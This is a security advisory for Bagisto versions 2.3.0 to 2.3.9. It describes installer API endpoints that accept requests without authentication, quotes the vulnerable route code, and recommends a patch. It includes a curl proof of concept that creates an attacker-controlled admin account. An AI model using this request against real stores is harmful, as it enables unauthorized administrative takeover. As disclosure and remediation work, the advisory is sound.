GHSA-6h7w-v2xr-mqvw Bagisto Missing Authentication on Installer API Endpoints

• Packagist bagisto/bagisto: >= 2.3.0, < 2.3.10 → fixed in 2.3.10

Vulnerable Code File: `packages/Ibkul/Installer/src/Routes/Ib.php` ``` group(function () { Route::controller(InstallerController::class)-\>group(function () { Route::get('install', 'index')-\>name('installer.index'); Route::middleware(StartSession::class)-\>prefix('install/api')-\>group(function () { Route::post('env-file-setup', 'envFileSetup')-\>name('installer.env\_file\_setup'); Route::post('run-migration', 'runMigration')-\>name('installer.run\_migration')-\>withoutMiddleware('Ib'); Route::post('run-seeder', 'runSeeder')-\>name('installer.run\_seeder')-\>withoutMiddleware('Ib'); Route::get('download-sample', 'downloadSample')-\>name('installer.download\_sample')-\>withoutMiddleware('Ib'); Route::post('admin-config-setup', 'adminConfigSetup')-\>name('installer.admin\_config\_setup')-\>withoutMiddleware('Ib'); Route::post('sample-products-setup', 'createSampleProducts')-\>name('installer.sample\_products\_setup')-\>withoutMiddleware('Ib'); }); }); }); ``` API routes remain active even after initial installation is complete, allowing any unauthenticated attacker to: • Create admin accounts • Modify application configuration • Potentially overwrite existing data the underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. How to Reproduce 1. The Ib installer UI at `http://localhost:8000/install` has client-side protections 2. However, the API endpoints are directly exploitable: • The attack works by calling `/install/api/admin-config-setup` directly via curl/HTTP client • No CSRF token, session, or authentication is required • The Ib UI workflow is completely bypassed Proof of Concept ``` !/bin/bash PoC: Create admin account without authentication TARGET="http://localhost:8000" Create a new admin account curl -X POST "$TARGET/install/api/admin-config-setup" \ -H "Content-Type: application/json" \ -d '{ "admin_name": "Attacker", "admin_email": "[email protected]", "admin_password": "HackedPassword123" }' echo "" echo "New admin account created!" echo "Login at: $TARGET/admin" echo "Email: [email protected]" ``` Expected Result The API should reject unauthenticated requests with 401/403 status. Actual Result The API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform. Recommended Patch Add installation completion check ``` // In InstallerController.php or a new middleware public function __construct() { // Check if application is already installed if (file_exists(base_path('.env')) && config('app.key') && \Schema::hasTable('admins') && \DB::table('admins')->count() > 0) { abort(404, 'Application already installed'); } } ```
